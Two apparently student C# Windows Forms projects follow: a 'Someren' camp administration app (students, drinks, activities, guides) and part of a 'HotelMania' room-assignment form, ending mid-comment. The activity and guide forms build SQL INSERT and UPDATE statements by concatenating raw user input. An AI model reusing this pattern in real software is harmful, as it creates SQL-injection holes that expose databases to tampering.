using System.Data.SqlClient;
using System.Data;
using System.Collections.ObjectModel;
using SomerenModel;
namespace SomerenDAL
{
public class Schedule_DAO : Base
{
public List<Schedule> Db_Get_All_Schedule()
{
string query = "SELECT [time], monday, tuesday, Wednesday, thursday, Friday From schedule ORDER BY [time]";
SqlParameter[] sqlParameters = new SqlParameter[0];
return ReadTables(ExecuteSelectQuery(query, sqlParameters));
}
public List<Schedule> ReadTables(DataTable dataTable)
{
List<Schedule> schedule = new List<Schedule>();
foreach (DataRow dr in dataTable.Rows)
{
Schedule schedulee = new Schedule()
{
time = (String)dr["time"],
monday = (String)dr["monday"],
tuesday = (String)dr["tuesday"],
Wednesday = (String)dr["Wednesday"],
thursday = (String)dr["thursday"],
Friday = (String)dr["Friday"]
};
schedule.Add(schedulee);
if (dr == null);
}
return schedule;
}
}
}
<file_sep>using SomerenLogic;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Collections;
namespace SomerenUI
{
public partial class SomerenUI : Form
{
SomerenLogic.Student_Service studService = new SomerenLogic.Student_Service();
SomerenLogic.StockDrinks_Service stockDrinksService = new SomerenLogic.StockDrinks_Service();
public SomerenUI()
{
InitializeComponent();
}
private void SomerenUI_Load(object sender, EventArgs e)
{
showPanel("Dashboard");
}
private void showPanel(string panelName)
{
if (panelName == "Dashboard")
{
// hide all other panels
pnl_Students.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
// show dashboard
pnl_Dashboard.Show();
img_Dashboard.Show();
}
else if (panelName == "Students")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
// show students
pnl_Students.Show();
// fill the students listview within the students panel with a list of students
List<Student> studentList = studService.GetStudents();
// clear the listview before filling it again
listViewStudents.Clear();
listViewStudents.View = View.Details;
listViewStudents.GridLines = true;
listViewStudents.FullRowSelect = true;
// Aanmaken van kolommen
listViewStudents.Columns.Add("Student Number", 100);
listViewStudents.Columns.Add("First Name", 100);
listViewStudents.Columns.Add("Last Name", 100);
string[] students = new string[3];
ListViewItem itm;
foreach (SomerenModel.Student s in studentList)
{
students[0] = s.Number.ToString();
students[1] = s.FirstName;
students[2] = s.LastName;
itm = new ListViewItem(students);
listViewStudents.Items.Add(itm);
}
}
else if (panelName == "Teachers")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Students.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
// show students
pnl_Teachers.Show();
// fill the students listview within the students panel with a list of students
SomerenLogic.Teacher_Service teachService = new SomerenLogic.Teacher_Service();
List<Teacher> teacherList = teachService.GetTeachers();
// clear the listview before filling it again
listViewTeachers.Clear();
listViewTeachers.View = View.Details;
listViewTeachers.GridLines = true;
listViewTeachers.FullRowSelect = true;
// Aanmaken van kollomen
listViewTeachers.Columns.Add("Teacher Number", 100);
listViewTeachers.Columns.Add("First Name", 100);
listViewTeachers.Columns.Add("Last Name", 100);
listViewTeachers.Columns.Add("Guide", 50);
string[] teachers = new string[4];
ListViewItem itm;
foreach (SomerenModel.Teacher t in teacherList)
{
// Items toevoegen aan een lijst
teachers[0] = t.Number.ToString();
teachers[1] = t.FirstName;
teachers[2] = t.LastName;
teachers[3] = t.Guide;
itm = new ListViewItem(teachers);
listViewTeachers.Items.Add(itm);
}
}
else if (panelName == "Rooms")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Students.Hide();
pnl_Teachers.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
// show rooms
pnl_Rooms.Show();
// fill the rooms listview within the rooms panel with a list of rooms
SomerenLogic.Room_Service roomService = new SomerenLogic.Room_Service();
List<Room> roomList = roomService.GetRooms();
// clear the listview before filling it again
listViewRooms.Clear();
listViewRooms.View = View.Details;
listViewRooms.GridLines = true;
listViewRooms.FullRowSelect = true;
// Aanmaken van kolommen
listViewRooms.Columns.Add("Room Number", 80);
listViewRooms.Columns.Add("Capacity", 80);
listViewRooms.Columns.Add("Room Type", 80);
string[] rooms = new string[3];
ListViewItem itm;
foreach (SomerenModel.Room r in roomList)
{
rooms[0] = r.Number.ToString();
rooms[1] = r.Capacity.ToString();
rooms[2] = r.Type;
itm = new ListViewItem(rooms);
listViewRooms.Items.Add(itm);
}
}
else if (panelName == "StockDrinks")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Students.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_CheckOut.Hide();
// show stock
pnl_StockDrinks.Show();
// fill the listview with a list of the stock
List<StockDrinks> stockList = stockDrinksService.GetStock();
// clear the listview first before filling it again
listViewStockDrinks.Clear();
// laten zien van de tabel
listViewStockDrinks.View = View.Details;
listViewStockDrinks.GridLines = true;
listViewStockDrinks.FullRowSelect = true;
// Aanmaken van kollomen
listViewStockDrinks.Columns.Add("Name of drink");
listViewStockDrinks.Columns.Add("Stock");
listViewStockDrinks.Columns.Add("Voucher price");
}
else if (panelName == "CheckOut")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Students.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
// show checkout
pnl_CheckOut.Show();
// lijsten
List<Student> studentList = studService.GetStudents();
List<StockDrinks> drinkList = stockDrinksService.GetStock();
// listview students
listViewStudentsCO.Clear();
listViewStudentsCO.View = View.Details;
listViewStudentsCO.GridLines = true;
listViewStudentsCO.CheckBoxes = true;
listViewStudentsCO.Columns.Add("Student Number", 80);
listViewStudentsCO.Columns.Add("First Name", 80);
listViewStudentsCO.Columns.Add("Last Name", 100);
string[] students = new string[3];
ListViewItem itm;
foreach (SomerenModel.Student s in studentList)
{
students[0] = s.Number.ToString();
students[1] = s.FirstName;
students[2] = s.LastName;
itm = new ListViewItem(students);
listViewStudentsCO.Items.Add(itm);
}
// listview drinks
listViewDrinksCO.Clear();
listViewDrinksCO.View = View.Details;
listViewDrinksCO.GridLines = true;
listViewDrinksCO.CheckBoxes = true;
listViewDrinksCO.Columns.Add("Name", 80);
listViewDrinksCO.Columns.Add("Price", 70);
listViewDrinksCO.Columns.Add("Stock", 70);
string[] drinks = new string[3];
foreach (SomerenModel.StockDrinks d in drinkList)
{
drinks[0] = d.Name;
drinks[1] = d.Price.ToString();
drinks[2] = d.Stock.ToString();
itm = new ListViewItem(drinks);
listViewDrinksCO.Items.Add(itm);
}
}
}
// Menu item clicks
private void dashboardToolStripMenuItem_Click(object sender, EventArgs e)
{
//
}
private void exitToolStripMenuItem_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void dashboardToolStripMenuItem1_Click(object sender, EventArgs e)
{
showPanel("Dashboard");
}
private void label1_Click(object sender, EventArgs e)
{
}
private void img_Dashboard_Click(object sender, EventArgs e)
{
MessageBox.Show("What happens in Someren, stays in Someren!");
}
private void studentsToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("Students");
}
private void LecturersToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("Teachers");
}
private void RoomsToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("Rooms");
}
private void StockDrinksToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("StockDrinks");
}
private void CheckOutToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("CheckOut");
}
private void Btn_Calculate_Click(object sender, EventArgs e)
{
int totalPrice;
// geselecteerde student checken
for (int i = 0; i < listViewStudentsCO.Items.Count; i++)
{
if (listViewStudentsCO.Items[i].Checked == true)
{
//MessageBox.Show("Gelukt");
}
}
// geselecteerde drankjes
for (int i = 0; i < listViewDrinksCO.Items.Count; i++)
{
string drink;
drink= listViewDrinksCO.Items[i].ToString();
if (listViewDrinksCO.Items[i].Checked == true)
{
MessageBox.Show(drink);
}
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenModel
{
public class Schedule
{
public String time { get; set; }
public String monday { get; set; }
public String tuesday { get; set; }
public String Wednesday { get; set; }
public String thursday { get; set; }
public String Friday { get; set; }
}
}
<file_sep>using SomerenDAL;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenLogic
{
public class Order_Service
{
Order_DAO order_db = new Order_DAO();
public List<Order> GetOrders(DateTime dateStart, DateTime dateEnd)
{
try
{
List<Order> order = order_db.Db_Get_All_Orders(dateStart, dateEnd);
return order;
}
catch (Exception)
{
// something went wrong connecting to the database, so we will add a fake student to the list to make sure the rest of the application continues working!
List<Order> orders = new List<Order>();
Order a = new Order();
a.DrinkID = 1;
a.OrderNumber = 6;
a.StudentNumber = 1;
a.Date = DateTime.Now;
a.Price = 1.52f;
a.Amount = 1;
orders.Add(a);
Order b = new Order();
b.DrinkID = 4;
b.OrderNumber = 7;
b.StudentNumber = 2;
b.Date = DateTime.Now;
b.Price = 0.23f;
b.Amount = 1;
orders.Add(b);
return orders;
//throw new Exception("Someren couldn't connect to the database");
}
}
}
}
<file_sep>using SomerenDAL;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenLogic
{
public class StockDrinks_Service
{
StockDrinks_DAO stock_db = new StockDrinks_DAO();
public List<StockDrinks> GetStock()
{
try
{
List<StockDrinks> stock = stock_db.Db_Get_All_Stock();
return stock;
}
catch (Exception)
{
// something went wrong connecting to the database, so we will add a fake student to the list to make sure the rest of the application continues working!
List<StockDrinks> stock = new List<StockDrinks>();
StockDrinks a = new StockDrinks();
a.DrinkID = 1;
a.Name = "testDrank1";
a.Price = 2;
a.Stock = 13;
stock.Add(a);
StockDrinks b = new StockDrinks();
b.DrinkID = 2;
b.Name = "testDrank2";
b.Price = 1;
b.Stock = 7;
stock.Add(b);
return stock;
//throw new Exception("Someren couldn't connect to the database");
}
}
public void UpdateDrinks(string query)
{
try
{
stock_db.Db_Update_Drinks(query);
}
catch (Exception)
{
//
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SqlClient;
using System.Data;
using System.Collections.ObjectModel;
using SomerenModel;
namespace SomerenDAL
{
public class Student_DAO : Base
{
public List<Student> Db_Get_All_Students()
{
string query = "SELECT studentNumber, studentFirstName, studentLastName, vouchers FROM [student] ORDER BY studentLastName";
SqlParameter[] sqlParameters = new SqlParameter[0];
return ReadTables(ExecuteSelectQuery(query, sqlParameters));
}
private List<Student> ReadTables(DataTable dataTable)
{
List<Student> students = new List<Student>();
foreach (DataRow dr in dataTable.Rows)
{
Student student = new Student()
{
Number = (int)dr["studentNumber"],
FirstName = (String)(dr["studentFirstName"].ToString()),
LastName = (String)(dr["studentLastName"].ToString()),
Vouchers = (Int16)dr["vouchers"]
};
students.Add(student);
}
return students;
}
public void Db_Update_Student(string query)
{
SqlParameter[] sqlParameters = new SqlParameter[0];
ExecuteEditQuery(query, sqlParameters);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenModel
{
public class Student
{
public String FirstName { get; set; }
public String LastName { get; set; }
public int Number { get; set; } // StudentNumber, e.g. 474791
public DateTime BirthDate { get; set; }
public Int16 Vouchers { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenModel
{
public class Order
{
public int OrderNumber { get; set; }
public Int16 DrinkID { get; set; }
public DateTime Date { get; set; }
public int StudentNumber { get; set; }
public float Price { get; set; }
public int Amount { get; set; }
}
}
<file_sep>using SomerenLogic;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Collections;
using SomerenUI.Properties;
using System.IO;
using System.Data.SqlTypes;
namespace SomerenUI
{
public partial class AddingActivities : Form
{
SomerenLogic.Activity_Service activityService = new SomerenLogic.Activity_Service();
public AddingActivities()
{
InitializeComponent();
}
private void Btn_AddAct_Click(object sender, EventArgs e)
{
List<Activity> activities = activityService.GetActivities();
if (txt_ActDate.Text == "" || txt_ActID.Text == "" || txt_description.Text == "" || txt_NumGuides.Text == "" || txt_NumPart.Text == "")
{
MessageBox.Show("Please fill in ALL the fields to succesfully add an activity");
return;
}
foreach (Activity act in activities)
{
if (txt_description.Text.ToLower() == act.Description.ToLower() || txt_ActID.Text == act.ActivityID.ToString())
{
MessageBox.Show("The description or ID of an activity can not be the same as another activity");
txt_ActDate.Clear();
txt_ActID.Clear();
txt_description.Clear();
txt_NumGuides.Clear();
txt_NumPart.Clear();
return;
}
}
string query = "INSERT INTO activities VALUES (" + txt_ActID.Text + ", '" + @txt_description.Text + "', " + @txt_NumGuides.Text + ", " + @txt_NumPart.Text + ", '" + @txt_ActDate.Text + "')";
activityService.UpdateActivity(query);
this.Close();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenModel
{
public class StockDrinks
{
public Int16 DrinkID { get; set; }
public String Name { get; set; }
public Int16 Price { get; set; }
public int Stock { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SqlClient;
using System.Data;
using System.Collections.ObjectModel;
using SomerenModel;
namespace SomerenDAL
{
public class Room_DAO : Base
{
public List<Room> Db_Get_All_Rooms()
{
string query = "SELECT roomNumber, sleepCapacity, roomType FROM [rooms] ORDER BY roomNumber";
SqlParameter[] sqlParameters = new SqlParameter[0];
return ReadTables(ExecuteSelectQuery(query, sqlParameters));
}
private List<Room> ReadTables(DataTable dataTable)
{
List<Room> rooms = new List<Room>();
foreach (DataRow dr in dataTable.Rows)
{
Room room = new Room()
{
Number = (Int16)dr["roomNumber"],
Capacity = (Int16)dr["sleepCapacity"],
Type = (string)dr["roomType"]
};
rooms.Add(room);
}
return rooms;
}
}
}
<file_sep>using SomerenDAL;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenLogic
{
public class Activity_Service
{
Activity_DAO activity_db = new Activity_DAO();
public List<Activity> GetActivities()
{
try
{
List<Activity> activities = activity_db.Db_Get_All_Activities();
return activities;
}
catch (Exception)
{
// something went wrong connecting to the database, so we will add a fake student to the list to make sure the rest of the application continues working!
List<Activity> activities = new List<Activity>();
Activity a = new Activity();
a.ActivityID = 1;
a.Description = "A game of laser tag. Gather in front of the barn when it is time for this activity.";
a.NumberOfGuides = 2;
a.NumberOfParticipants = 20;
activities.Add(a);
Activity b = new Activity();
b.ActivityID = 2;
b.Description = "A food fight. This activity will be held in the cantine.";
b.NumberOfGuides = 5;
b.NumberOfParticipants = 6840;
activities.Add(b);
return activities;
//throw new Exception("Someren couldn't connect to the database");
}
}
public void UpdateActivity(string query)
{
try
{
activity_db.Db_Update_Activity(query);
}
catch(Exception)
{
//
}
}
}
}<file_sep>using SomerenDAL;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenLogic
{
public class Schedule_Service
{
Schedule_DAO schedule_db = new Schedule_DAO();
public List<Schedule> GetSchedule()
{
//try
//{
List<Schedule> schedule = schedule_db.Db_Get_All_Schedule();
return schedule;
//}
//catch (Exception)
//{
// // something went wrong connecting to the database, so we will add a fake schedule to the list to make sure the rest of the application continues working!
// List<Schedule> schedule = new List<Schedule>();
// Schedule a = new Schedule();
// a.monday = "test";
// a.tuesday = "testt";
// schedule.Add(a);
// Schedule b = new Schedule();
// b.monday = "testing";
// b.tuesday = "testting";
// schedule.Add(b);
// return schedule;
// //throw new Exception("Someren couldn't connect to the database");
//}
}
}
}
<file_sep>using SomerenLogic;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Collections;
using SomerenUI.Properties;
using System.IO;
using System.Data.SqlTypes;
namespace SomerenUI
{
public partial class EditGuide : Form
{
private Guide selectedGuide;
SomerenLogic.Activity_Service activityService = new SomerenLogic.Activity_Service();
SomerenLogic.Guide_Service guideService = new SomerenLogic.Guide_Service();
public EditGuide(Guide selectedGuide)
{
InitializeComponent();
this.selectedGuide = selectedGuide;
}
private void EditGuide_Load(object sender, EventArgs e)
{
List<Activity> activityList = activityService.GetActivities();
cmb_NewActivity.Items.Clear();
foreach (Activity act in activityList)
{
cmb_NewActivity.Items.Add(act);
}
cmb_NewActivity.SelectedIndex = 0;
lbl_OldAct.Text = selectedGuide.ActivityID.ToString();
}
private void btn_EditGuide_Click(object sender, EventArgs e)
{
Activity newAct = (Activity)cmb_NewActivity.SelectedItem;
if (newAct.ActivityID == selectedGuide.ActivityID)
{
MessageBox.Show("New activity can not be the same as old activity!");
return;
}
string query = "UPDATE guides SET activityID=" + newAct.ActivityID + " WHERE staffNumber=" + selectedGuide.StaffNumber;
guideService.UpdateGuide(query);
this.Close();
}
}
}
<file_sep>using SomerenDAL;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenLogic
{
public class Guide_Service
{
Guide_DAO guide_db = new Guide_DAO();
public List<Guide> GetGuides()
{
try
{
List<Guide> guides = guide_db.Db_Get_All_Guides();
return guides;
}
catch (Exception)
{
// something went wrong connecting to the database, so we will add a fake student to the list to make sure the rest of the application continues working!
List<Guide> guides = new List<Guide>();
Guide a = new Guide();
a.ActivityID = 1;
a.StaffNumber = 2;
guides.Add(a);
Guide b = new Guide();
b.ActivityID = 1;
b.StaffNumber = 3;
guides.Add(b);
return guides;
//throw new Exception("Someren couldn't connect to the database");
}
}
public void UpdateGuide(string query)
{
try
{
guide_db.Db_Update_Guide(query);
}
catch(Exception)
{
//
}
}
}
}
|
17da0fac5b396d67c5e3fe0feb5eb7478f642e28
|
[
"C#"
] | 22
|
C#
|
Tim850/SomerenDatabaseCodeGroepje_2
|
05abf6a5b6d8d8f8e75780c9344a857d40995f90
|
6008bed19a776012d2371064b428bac8c383f348
|
refs/heads/master
|
<repo_name>sprtn/HotelMania<file_sep>/HotelElementClasses/Floor.cs
using System.Collections.Generic;
namespace HotelMania
{
public class Floor
{
public List<HotelRoom> listOfRooms = new List<HotelRoom>();
public Floor(int _floorNumber, int _roomsOnTheFloor)
{
for (int i = 1; i <= _roomsOnTheFloor; i++)
listOfRooms.Add(new HotelRoom(i, _floorNumber));
}
}
}
<file_sep>/HotelMania.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Reflection;
using System.IO;
using System.Xml.Linq;
namespace HotelMania
{
public partial class HotelMania : Form
{
public Hotel theHotel;
DateTime dummyTimeStamp = DateTime.Now;
List<HotelRoom> listOfRooms = new List<HotelRoom>();
BindingList<Guest> listOfGuestsWithoutRooms = new BindingList<Guest>();
BindingList<Guest> listOfGuestsWithRooms = new BindingList<Guest>();
BindingList<HotelRoom> floor1 = new BindingList<HotelRoom>();
BindingList<HotelRoom> floor2 = new BindingList<HotelRoom>();
BindingList<HotelRoom> floor3 = new BindingList<HotelRoom>();
/* Drag & Drop */
//private Rectangle dragBoxFromMouseDown;
//private object valueFromMouseDown;
int availableRoomsFloor(BindingList<HotelRoom> floor)
{
int numOccupiedRooms = 0;
foreach (HotelRoom r in floor)
{
if (!r.isNotOccupied)
numOccupiedRooms++;
}
return numOccupiedRooms;
}
short numTimes;
/* Constructor */
public HotelMania()
{
theHotel = new Hotel();
InitializeComponent();
addFloorToList(floor1, 1);
addFloorToList(floor2, 2);
addFloorToList(floor3, 3);
guestListDataGrid.DataSource = listOfGuestsWithoutRooms;
dataGridViewFloor1.DataSource = floor1;
dataGridViewFloor2.DataSource = floor2;
dataGridViewFloor3.DataSource = floor3;
TryLoadData();
refreshDataGrids();
}
private BindingList<HotelRoom> findRightBindingList(Guest g)
{
if (g != null && g.hasRoom)
{
switch (g.FloorNumber)
{
case 1:
return floor1;
case 2:
return floor2;
case 3:
return floor3;
default:
return null;
}
}
else
return null;
}
private void addFloorToList(BindingList<HotelRoom> bindlist, int v)
{
foreach (HotelRoom _curRoom in theHotel.listOfFloors.ToArray().ElementAt(v - 1).listOfRooms)
bindlist.Add(_curRoom);
}
private void addGuest(string v, DateTime dummyTimeStamp2)
{
listOfGuestsWithoutRooms.Add(new Guest(v, dummyTimeStamp, dummyTimeStamp2));
}
private void submitNewGuestButton_Click(object sender, EventArgs e)
{
submitGuestInput();
}
private void submitGuestInput()
{
listOfGuestsWithoutRooms.Add(new Guest(inputFieldName.Text, dummyTimeStamp, DateTime.Now));
inputFieldName.Clear();
}
private void inputFieldName_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
submitGuestInput();
}
private void button2_Click(object sender, EventArgs e)
{
if ( tabControl1.SelectedIndex == 0 )
{
if (guestListDataGrid.CurrentRow != null)
numTimes++;
if (numTimes >= 2)
{
if (guestListDataGrid.CurrentRow != null && guestListDataGrid.CurrentRow.DataBoundItem != null)
{
listOfGuestsWithoutRooms.Remove(curGuest());
if (curGuest() != null)
curGuest().RemoveRoom();
guestListDataGrid.DataSource = listOfGuestsWithoutRooms;
}
}
resetNumTimes();
}
else
{
if (dataGridViewGuestsWithRooms.CurrentRow != null)
numTimes++;
if (numTimes >= 2)
{
if ((Guest)dataGridViewGuestsWithRooms.CurrentRow.DataBoundItem != null)
{
Guest g = (Guest)dataGridViewGuestsWithRooms.CurrentRow.DataBoundItem;
listOfGuestsWithRooms.Remove(g);
g.RemoveRoom();
}
}
resetNumTimes();
}
}
private async void resetNumTimes()
{
await Task.Delay(1000);
numTimes = 0;
}
public int CurrentTab()
{
return tabControl.SelectedIndex;
}
public BindingList<HotelRoom> getCurrList()
{
switch (CurrentTab())
{
case 1:
return floor1;
case 2:
return floor2;
case 3:
return floor3;
default:
return null;
}
}
public DataGridView getCurrDataGrid()
{
switch (CurrentTab())
{
case 1:
return dataGridViewFloor1;
case 2:
return dataGridViewFloor2;
case 3:
return dataGridViewFloor3;
default:
return null;
}
}
/// <summary>
/// Adds the guest selected to the room selected.
/// </summary>
private void button1_Click(object sender, EventArgs e)
{
if (curGuest() != null && curRoom() != null && curRoom().isNotOccupied)
{
Guest g = curGuest();
HotelRoom h = curRoom();
h.SetOccupant(g);
g.AssignRoom(h);
listOfGuestsWithoutRooms.Remove(g);
listOfGuestsWithRooms.Add(g);
}
UpdateVisualsInDataGridViewRow();
refreshDataGrids();
}
private void refreshDataGrids()
{
dataGridViewGuestsWithRooms.DataSource = listOfGuestsWithRooms;
guestListDataGrid.DataSource = listOfGuestsWithoutRooms;
}
/// <summary>
/// A method which calls the current datagrid selected and returns the Guest associated with the item.
/// </summary>
/// <returns> The selected Guest </returns>
private Guest curGuest()
{
try
{
if (guestListDataGrid.CurrentRow != null)
{
Guest eh = (Guest) guestListDataGrid.CurrentRow.DataBoundItem;
return (Guest) guestListDataGrid.CurrentRow.DataBoundItem;
} else
return null;
} catch {
return null;
}
}
/// <summary>
/// A method which calls the current Guest's room number
/// </summary>
/// <returns> The selected HotelRoom </returns>
private HotelRoom curRoom()
{
if (getCurrDataGrid() != null)
if (getCurrDataGrid().CurrentRow != null)
{
HotelRoom eh = (HotelRoom)getCurrDataGrid().CurrentRow.DataBoundItem;
return (HotelRoom)getCurrDataGrid().CurrentRow.DataBoundItem;
}
return null;
}
/// <summary>
/// A method which takes the incoming list of objects and returns them as a DataTable,
/// courtesy of the interwebs, altered slightly.
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="items"></param>
/// <returns></returns>
public static DataTable ToDataTable<T>(List<T> items)
{
DataTable dataTable = new DataTable(typeof(T).Name);
//Get all the properties
PropertyInfo[] Props = typeof(T).GetProperties(BindingFlags.Public | BindingFlags.Instance);
foreach (PropertyInfo prop in Props)
{
//Defining type of data column gives proper data table
var type = (prop.PropertyType.IsGenericType && prop.PropertyType.GetGenericTypeDefinition() == typeof(Nullable<>) ? Nullable.GetUnderlyingType(prop.PropertyType) : prop.PropertyType);
//Setting column names as Property names
dataTable.Columns.Add(prop.Name, type);
}
foreach (T item in items)
{
var values = new object[Props.Length];
for (int i = 0; i < Props.Length; i++)
{
//inserting property values to datatable rows
values[i] = Props[i].GetValue(item, null);
}
dataTable.Rows.Add(values);
}
//put a breakpoint here and check datatable
return dataTable;
}
/// <summary>
/// Adds the input HotelRoom to the listOfRooms
/// </summary>
/// <param name="f"> HotelRoom to be placed in the list of rooms. </param>
private void addToList(BindingList<HotelRoom> f)
{
foreach (HotelRoom h in f)
listOfRooms.Add(h);
}
public Hotel getHotel()
{
return theHotel;
}
private HotelRoom getRoomByFloorAndRoomNumbers(int _fNo, int _rNo)
{
var roomList = getFloor(_fNo - 1);
if (roomList != null)
return roomList.ElementAt(_rNo - 1);
return null;
}
/// <summary>
/// A method for finding the BindingList<HotelRoom> by floor number
/// </summary>
/// <param name="fNo"> The number of the floor we are looking for. </param>
/// <returns> The relative BindingList<HotelRoom> to the fNo we get in... </returns>
private BindingList<HotelRoom> getFloor(int fNo)
{
switch (fNo)
{
case 0:
return floor1;
case 1:
return floor2;
case 2:
return floor3;
default:
return null;
}
}
/// <summary>
/// Remove the guest from his/her room.
/// </summary>
private void button3_Click(object sender, EventArgs e)
{
if (curRoom() != null && !curRoom().isNotOccupied)
{
Guest g = curRoom().currOccupant;
HotelRoom h = curRoom();
// Remove guest from room and room from guest.
g.RemoveRoom();
h.SetOccupant();
listOfGuestsWithoutRooms.Add(g);
listOfGuestsWithRooms.Remove(g);
}
UpdateVisualsInDataGridViewRow();
refreshDataGrids();
}
/* Drag & Drop, courtesy of https://stackoverflow.com/questions/21131157/drag-and-drop-cell-from-datagridview-to-another
* Can't seem to get it to work. In stackoverflow it was used for Cell values. I dont know if this is the issue.
*/
//private void guestListDataGrid_MouseMove(object sender, MouseEventArgs e)
//{
// if ((e.Button & MouseButtons.Left) == MouseButtons.Left)
// {
// if (dragBoxFromMouseDown != Rectangle.Empty && !dragBoxFromMouseDown.Contains(e.X, e.Y))
// {
// DragDropEffects dropEffect = guestListDataGrid.DoDragDrop(valueFromMouseDown, DragDropEffects.Copy);
// }
// }
//}
//private void guestListDataGrid_MouseDown(object sender, MouseEventArgs e)
//{
// var hittestInfo = guestListDataGrid.HitTest(e.X, e.Y);
// if (hittestInfo.RowIndex != -1 && hittestInfo.ColumnIndex != -1)
// {
// valueFromMouseDown = guestListDataGrid.Rows[hittestInfo.RowIndex].DataBoundItem;
// if (valueFromMouseDown != null)
// {
// Size dragSize = SystemInformation.DragSize;
// dragBoxFromMouseDown = new Rectangle(new Point(e.X - (dragSize.Width / 2), e.Y - (dragSize.Height / 2)), dragSize);
// }
// } else
// dragBoxFromMouseDown = Rectangle.Empty;
//}
//private void guestListDataGrid_DragOver(object sender, DragEventArgs e)
//{
// e.Effect = DragDropEffects.Copy;
//}
//private void dataGridViewFloor1_DragDrop(object sender, DragEventArgs e)
//{
// Point clientPoint = dataGridViewFloor1.PointToClient(new Point(e.X, e.Y));
// if (e.Effect == DragDropEffects.Copy)
// {
// string cellvalue = e.Data.GetData(typeof(string)) as string;
// var hittest = dataGridViewFloor1.HitTest(clientPoint.X, clientPoint.Y);
// if (hittest.ColumnIndex != -1
// && hittest.RowIndex != -1)
// dataGridViewFloor1[hittest.ColumnIndex, hittest.RowIndex].Value = cellvalue;
// }
//}
//private void dataGridViewFloor2_DragDrop(object sender, DragEventArgs e)
//{
// Point clientPoint = dataGridViewFloor2.PointToClient(new Point(e.X, e.Y));
// if (e.Effect == DragDropEffects.Copy)
// {
// string cellvalue = e.Data.GetData(typeof(string)) as string;
// var hittest = dataGridViewFloor2.HitTest(clientPoint.X, clientPoint.Y);
// if (hittest.ColumnIndex != -1
// && hittest.RowIndex != -1)
// dataGridViewFloor1[hittest.ColumnIndex, hittest.RowIndex].Value = cellvalue;
// }
//}
//private void dataGridViewFloor3_DragDrop(object sender, DragEventArgs e)
//{
// Point clientPoint = dataGridViewFloor3.PointToClient(new Point(e.X, e.Y));
// if (e.Effect == DragDropEffects.Copy)
// {
// string cellvalue = e.Data.GetData(typeof(string)) as string;
// var hittest = dataGridViewFloor3.HitTest(clientPoint.X, clientPoint.Y);
// if (hittest.ColumnIndex != -1
// && hittest.RowIndex != -1)
// dataGridViewFloor1[hittest.ColumnIndex, hittest.RowIndex].Value = cellvalue;
// }
//}
/* Loading and saving to XML */
/// <summary>
/// Saves the current values to XML for later retrieval.
/// </summary>
private void saveData_Click(object sender, EventArgs e)
{
if (listOfRooms != null)
listOfRooms.Clear();
addToList(floor1);
addToList(floor2);
addToList(floor3);
DataSet ds = new DataSet();
ds.Tables.Add(ToDataTable(listOfRooms));
string dsXml = ds.GetXml();
using (StreamWriter fs = new StreamWriter("xmlFile.xml"))
ds.WriteXml(fs);
}
/// <summary>
/// See "TryLoadData()"
/// </summary>
private void loadData_Click(object sender, EventArgs e)
{
TryLoadData();
}
/// <summary>
/// Uses a try/catch/finally to load an xml file, if existing,
/// to our application. Displays a warning if no XML is found,
/// which will run for x seconds (static value set in the respective
